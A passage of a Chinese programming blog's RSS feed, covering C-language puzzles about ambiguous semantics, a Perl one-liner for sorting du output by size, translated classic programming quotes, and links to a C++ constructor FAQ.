/>\n1到14？不对，结果是1，因为continue的含义是不执行循环体之后语义，而直接到循环点。明显while(false)不属于循环体。导致这段程序的歧义就是：程序员没有完全理解计算机语言中continue的含义。</p>\n<h3>puzzle 4</h3>\n<p>下面这段程序的输出结果是：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#define f(a,b) a##b\n#define g(a)   #a\n#define h(a) g(a)\n\nint main()\n{\n        printf(&quot;%s\\n&quot;, h(f(1,2)));\n        printf(&quot;%s\\n&quot;, g(f(1,2)));\n        return 0;\n}\n</pre>\n<p>当然，你首先要了解##和#的用法，如果不懂的话，本题你可以直接跳过。<br />\n<strong>解答：</strong><br />\n看到这段程序你可能会认为，这两个printf输出的同一个结果，可是答案却非如此，本题的输出是12和f(1,2)，为什么会这样呢？因为这是宏，宏的解开不象函数执行，由里带外。</p>\n<h3>puzzle 5</h3>\n<p>下面这段程序的输出是什么</p>\n<blockquote><p>#include &lt;stdio.h&gt;<br />\nint main()<br />\n{<br />\nint a=10;<br />\nswitch(a)<br />\n{<br />\ncase &#8216;1&#8217;:<br />\nprintf(&#8220;ONE\\n&#8221;);<br />\nbreak;<br />\ncase &#8216;2&#8217;:<br />\nprintf(&#8220;TWO\\n&#8221;);<br />\nbreak;<br />\ndefau1t:<br />\nprintf(&#8220;NONE\\n&#8221;);<br />\n｝<br />\nreturn 0;<br />\n}</p></blockquote>\n<p><strong>解答：</strong><br />\n本题我故意将语法敏感插件去掉，为了就是能得到更好的效果，这道题又是什么让歧义再次发生，如果不仔细你可能永远都找不到答案，如果真到的到了那个时候，你是否会因为对default语义的怀疑，而不敢再使用default？本题的歧义点就是default，看好了是defau1t而不是default，不是关键字！为什么计算能&#8221;听懂&#8221;这样的defau1t，算然它听懂了，但它的理解却是标号&#8221;defau1t&#8221;</p>\n<h3>puzzle 6</h3>\n<p>下面这段程序的输出什么？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n\nint main()\n{\n    float f=0.0f;\n    int i;\n\n    for(i=0;i&lt;10;i++)\n        f = f + 0.1f;\n\n    if(f == 1.0f)\n        printf(&quot;f is 1.0 \\n&quot;);\n    else\n        printf(&quot;f is NOT 1.0 \\n&quot;);\n\n    return 0;\n}\n</pre>\n<p><strong>解答：</strong><br />\n你是否似曾相识？不错这个问题在酷壳之前的博文《<a href=\"https://coolshell.cn/articles/688.html\">你能做对下面这些JavaScript的题吗？</a>》中曾今提到过，不要让两个浮点数相比较。所以本题的答案是&#8221;f is NOT 1.0&#8243;，如果你真想比较两个浮点数时，你应该按一定精度来比较，比如你一定要在本题中做比较那么你应该这么做if( (f &#8211; 1.0f)&lt;0.1 )</p>\n<h3>puzzle 7</h3>\n<p>下面两个函数是否具有相同的原型？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint foobar(void);\nint foobar();\n</pre>\n<p>下面这两段程序将会帮你找到上题的答案<br />\n程序1</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nvoid foobar1(void)\n{\n    printf(&quot;In foobar1\\n&quot;);\n}\n\nvoid foobar2()\n{\n    printf(&quot;In foobar2\\n&quot;);\n}\n\nint main()\n{\n    char ch = &#039;a&#039;;\n\n    foobar1();\n    foobar2(33, ch);\n\n     return 0;\n}\n</pre>\n<p>程序2</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &quot;stdio.h&quot;\nvoid foobar1(void)\n{\n    printf(&quot;In foobar1\\n&quot;);\n}\n\nvoid foobar2()\n{\n    printf(&quot;In foobar2\\n&quot;);\n}\n\nint main()\n{\n    char ch = &#039;a&#039;;\n\n    foobar1(33,ch);\n    foobar2();\n\n    return 0;\n}\n</pre>\n<p><strong>解答</strong><br />\n程序片段一，没有问题，程序片段二编译报错，这两个程序告诉我们，foobar1(void)和foobar2()是有不同原型的的。我们可以在《ISO/IEC 9899》的C语言规范找到下面两段关于函数声明的描述</p>\n<blockquote><p>10.The special case of an unnamed parameter of type void as the only item in the list specifies that the function has no parameters</p></blockquote>\n<blockquote><p>14.An identifier list declares only the identifiers of the parameters of the function. An empty list in a function declarator that is part of a definition of that function specifies that the function has no parameters. The empty list in a function declarator that is not part of a definition of that function specifies that no information about the number or types of the parameters is supplied.124)</p></blockquote>\n<p>上面两段话的意思就是：foobar1(void)是没有参数，而foobar1()等于forbar1(&#8230;)等于参数类型未知。</p>\n<p><strong>总结</strong><br />\n看到这些C语言的题目，不禁让我想起了巴别塔，计算机语言作为如此严谨的语言都有可能带来如此多的歧义，更何况自然语言，更何况相互不通的自然语言。要杜绝歧义，我们就必须清晰的了解计算机语言每一个指令的语义。就如同人类，人类要和平就要相互了解各自的文化。愿世界上人们清晰了解别人的语言的语义，愿世界不再因为文化的不同而战争，原世界和平。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/830.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>52</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux磁盘使用命令du的改进</title>\n\t\t<link>https://coolshell.cn/articles/822.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/822.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 15 May 2009 08:41:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[du]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=822</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道，在Linux下，如果你想知道当前目录下，每个文件或子目录的尺寸，你可以使用du命令来完成这一动作。如： $ du -sh * 这个命令可以以K，M，G...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/822.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/822.html\">Linux磁盘使用命令du的改进</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道，在Linux下，如果你想知道当前目录下，每个文件或子目录的尺寸，你可以使用du命令来完成这一动作。如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$  du -sh *\n</pre>\n<p>这个命令可以以K，M，G的方式显示每个文件和子目录的大小。我们把这种方式叫做，human-readable，也就是可以让人读的方式，如下所示：</p>\n<pre>8.4G Desktop\n2.6G Documents\n12K keys\n12M Pictures\n536K scripts</pre>\n<p><span id=\"more-822\"></span><br />\n但是，很可惜的是，我们的du并没有提供相关的排序功能，所以，如果在human-readable下，也就是-h参数下，我们很难使用sort命令来排序。因为那变成了字符串排序，小数点，数字的位数，还有单位K，M，G都会让排序变得混乱。那么，我们如何才能即有human-readble这种功能，还能有排序呢。我们得借用一些脚本语言来处理了。</p>\n<p>下面是使用了Perl来达到这一功能：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ndu -sk * | sort -n |       #以 K 字节的方式排序\nperl -ne &#039;                 #使用Perl来处理 K M 和 G 单位\n  ($s,$f)=split(m{\\t});    #把 尺寸/文件名 分开\n  for (qw(K M G)) {        #以尺寸单位循环\n     if($s&lt;1024) {         #如果 尺寸&lt;1024 那么就输出\n       printf(&quot;%.1f&quot;,$s);  #显示文件尺寸\n       print &quot;$_\\t$f&quot;;     #显示文件名\n       last                #换行\n     };\n     $s=$s/1024            #除1024然后进入下一个尺寸单位\n  }\n&#039;\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/822.html\">Linux磁盘使用命令du的改进</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/822.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>22条经典的编程引言</title>\n\t\t<link>https://coolshell.cn/articles/808.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/808.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 15 May 2009 04:25:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=808</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的这些经典的引言来自英文，也许有些我翻译的是不很好，所以，我提供了中英对照，如果有问题，请大家指正。   过早的优化是万恶之源。Premature opti...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/808.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/808.html\">22条经典的编程引言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">下面的这些经典的引言来自英文，也许有些我翻译的是不很好，所以，我提供了中英对照，如果有问题，请大家指正。</p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">过早的优化是万恶之源。Premature optimization is the root of all evil!<br />\n<em>&#8211; Donald Knuth</em></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">在水里行走和以一个需求规格进行软件开发，有一点是相同的，那就是如果水或需求都被冻住不了，那么行走和软件开发都会变得容易。Walking on water and developing software from a specification are easy if both are frozen<br />\n<em>&#8211; Edward V Berard</em></p>\n<p style=\"text-align: left;\"><em></em></p>\n<p style=\"text-align: left;\"><em></em></p>\n<p style=\"text-align: left;\"> </p>\n<p style=\"text-align: left;\">Hofstadter 定理：“一件事情总是会花费比你预期更多的时间，就算是你已经考虑过本条<em>Hofstadter </em>定理”。It always takes longer than you expect, even when you take into account Hofstadter’s Law.<br />\n<em>&#8211; Hofstadter’s Law</em></p>\n<p><span id=\"more-808\"></span></p>\n<p> </p>\n<p>有些遇到问题的人总是会说“我知道，我会使用正则表达式”，那么，你现在有两个问题了。（意思是：你本想用正则表达式来解决你已有问题，但实际上你又引入了“正则表达式”的一个新问题）Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems<br />\n<em>&#8211; Jamie Zawinski</em></p>\n<p><em></em></p>\n<p> </p>\n<p>调试程序的难度是写代码的两倍。因此，只要你的代码写的尽可能的清楚，那么你在调试代码时就不需要那么地有技巧。Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.<br />\n<em>&#8211; Brian Kernighan</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>用代码行来衡量开发进度，无异于用重量来衡量制造飞机的进度。Measuring programming progress by lines of code is like measuring aircraft building progress by weight.<br />\n<em>&#8211; Bill Gates</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>PHP被一些不合格的业余人员造就成了一个小恶魔；而Perl则是被一些熟练的但不正当的专业人员造就成了一个超级大恶魔。PHP is a minor evil perpetrated and created by incompetent amateurs, whereas Perl is a great and insidious evil, perpetrated by skilled but perverted professionals.<br />\n<em>&#8211; Jon Ribbens</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>在两个场合我被问到：“请你告诉我，如果你给机器输入了错误的数字，那么，是否还能得到正确的答案？”我并不能正确领会这类想法。（注意，本引言的作者姓Babbage，这个名字和神父同名，意思是，作者在反问提问的人，你是问我还是向神父祈祷？）On two occasions I have been asked, ‘Pray, Mr. Babbage, if you put into the machine wrong figures, will the right answers come out?’ I am not able rightly to apprehend the kind of confusion of ideas that could provoke such a question.”<br />\n<em>&#8211; Charles Babbage</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>在编程的时候，我们一定要想像一下，以后维护我们自己的代码的那个人会成为一个有暴力倾向的疯子，并且，他还知道我们住在哪里？Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live.<br />\n<em>&#8211; Rick Osborne</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>现代的编程是“程序员努力建一个更大更傻的程序”和“世界正在尝试创造更多更傻的人”之间的一种竞赛，目前为止，后者是赢家。Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.<br />\n<em>&#8211; Rich Cook</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>我才不关于我的代码是否能在你的机器上工作！我们不会给你提供机器。I don’t care if it works on your machine! We are not shipping your machine!<br />\n<em>&#8211; Ovidiu Platon</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>我总是希望我的电脑能够像电话一样容易使用；我的这个希望正在变成现实，因为我现在已经不知道怎么去使用我的电话了。I have always wished for my computer to be as easy to use as my telephone; my wish has come true because I can no longer figure out how to use my telephone.<br />\n<em>&#8211; Bjarne Stroustrup</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>计算机是一种在人类历史上所有发明中，可以让你比以前更快地犯更多的错误的发明，同样，其也包括了“手枪”和“龙舌兰酒”这两种发明的缺陷。A computer lets you make more mistakes faster than any other invention in human history, with the possible exceptions of handguns and tequila.<br />\n<em>&#8211; Mitch Ratcliffe</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>如果调试程序是一种标准的可以铲除BUG的流程，那么，编程就是把他们放进来的流程。If debugging is the process of removing software bugs, then programming must be the process of putting them in.<br />\n<em>&#8211; E. W. Dijkstra</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>教一群被BASIC先入为主的学生，什么是好的编程风格简直是一件不可能的事。对于一些有潜力的程序员，他们所受到的智力上的伤害远远超过了重建他们的信心。It is practically impossible to teach good programming style to students that have had prior exposure to BASIC. As potential programmers, they are mentally mutilated beyond hope of regeneration.<br />\n<em>&#8211; E. W. Dijkstra</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>理论上来说，理论和实际是一样的。但实际上来说，他们则不是。In theory, theory and practice are the same. In practice, they’re not.<br />\n<em>&#8211; Unknown</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>只有两个事情是无穷尽的：宇宙和人类的愚蠢。当然，我现在还不能确定宇宙是无穷尽的。Two things are infinite: the universe and human stupidity; and I’m not sure about the universe.<br />\n<em>&#8211; Albert Einstein</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>Perl这种语言就好像是被RSA加密算法加密过的一样。Perl &#8211; The only language that looks the same before and after RSA encryption.<br />\n<em>&#8211; Keith Bostic</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>我爱“最终期限”，我喜欢“嗖嗖嗖”的声音就像他们在飞一样。I love deadlines. I like the whooshing sound they make as they fly by.<br />\n<em>&#8211; Douglas Adams</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>说Java好的是因为它跨平台就像好像说肛交好是因为其可以适用于一切性别。Saying that Java is good because it works on all platforms is like saying anal sex is good because it works on all genders<br />\n<em>&#8211; Unknown</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>XML就像是一种强暴——如果它不能解决你的问题，那只能说明你没有用好它。XML is like violence &#8211; if it doesn’t solve your problems, you are not using enough of it.<br />\n<em>&#8211; Unknown</em></p>\n<p style=\"text-align: left;\"> </p>\n<p>爱因期坦说，自然界中的一切一定会有一个简单的解释，因为上帝并不是反复无常和独裁的。当然，不会有什么信仰能程序员像爱因期坦那样感到舒服。Einstein argued that there must be simplified explanations of nature, because God is not capricious or arbitrary. No such faith comforts the software engineer.<br />\n<em>&#8211; Fred Brooks</em></p>\n<p style=\"text-align: left;\">文章：<a href=\"http://www.storm-consultancy.com/blog/other/classic-programming-quotes/\" target=\"_blank\">来源</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/27.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/500px-WebCrawlerArchitecture.svg_-150x150.png\" alt=\"如何自己写一个网络爬虫\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/27.html\" class=\"wp_rp_title\">如何自己写一个网络爬虫</a></li><li ><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"两个C++的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2365.html\" class=\"wp_rp_title\">两个C++的资源</a></li><li ><a href=\"https://coolshell.cn/articles/240.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"非常不错的编程技术教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/240.html\" class=\"wp_rp_title\">非常不错的编程技术教程</a></li><li ><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" alt=\"Richard Feynman, 挑战者号, 软件工程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_title\">Richard Feynman, 挑战者号, 软件工程</a></li><li ><a href=\"https://coolshell.cn/articles/1086.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"22个开源的PHP框架\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1086.html\" class=\"wp_rp_title\">22个开源的PHP框架</a></li><li ><a href=\"https://coolshell.cn/articles/290.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"雷人的程序注释\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/290.html\" class=\"wp_rp_title\">雷人的程序注释</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/808.html\">22条经典的编程引言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/808.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于C++构造函数的FAQ</title>\n\t\t<link>https://coolshell.cn/articles/804.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/804.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 13 May 2009 14:38:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[FAQ]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=804</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些关于C++构造函数的FAQ。你能回答得出来吗？你可以点链接查看答案，不过是英文版的。他们来自于C++ FAQ Lite。当然，也有中文版的，只可惜中文...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/804.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/804.html\">关于C++构造函数的FAQ</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一些关于C++构造函数的FAQ。你能回答得出来吗？你可以点链接查看答案，不过是英文版的。他们来自于<a title=\"C++ FAQ Lite\" href=\"http://www.parashift.com/c++-faq-lite/index.html\"><em>C++ FAQ Lite</em></a>。当然，也有中文版的，只可惜中文版的太老了，只更新到了2001年。在<a title=\"C++ FAQ Lite\" href=\"http://www.parashift.com/c++-faq-lite/index.html\"><em>C++ FAQ Lite</em></a>上还有很多关于其它部分的FAQ，大家可以去看看。</p>\n<p><a title=\"[1] What's the deal with constructors?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.1\">[1] 构造函数是用来干什么的？</a></p>\n<p><a title=\"[2] Is there any difference between List x; and List x();?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.2\">[2] <tt>List x;</tt> 和 <tt>List x();有什么不同</tt>?</a></p>\n<p><a title=\"[3] Can one constructor of a class call another constructor of the same class to initialize the this object?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.3\">[3] 是否一个类的构造函数可以调用另一个构造函数来初始化自己？</a></p>\n<p><a title=\"[4] Is the default constructor for Fred always Fred::Fred()?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.4\">[4] 是否Fred类的默认的函数函数就一定是<tt>Fred::Fred()？</tt></a></p>\n<p><a title=\"[5] Which constructor gets called when I create an array of Fred objects?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.5\">[5] 如果要创建一个<tt>Fred</tt> 对像数组，什么样的构数函数会被调用?</a></p>\n<p><a title=\"[6] Should my constructors use &quot;initialization lists&quot; or &quot;assignment&quot;?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.6\">[6] 构造函数初始化成员变量时，用 &#8220;初始化列表&#8221; 还是 “赋值”？</a></p>\n<p><span id=\"more-804\"></span></p>\n<p><a title=\"[7] Should you use the this pointer in the constructor?\" href=\"http://www.parashift.com/c++-faq-lite/ctors.html#faq-10.7\">[7] 在构造函数中用<tt>this</tt> 指针是否有问题？</a></p>\n<p><a title=\"[8] What is the &quot;Named Constructor 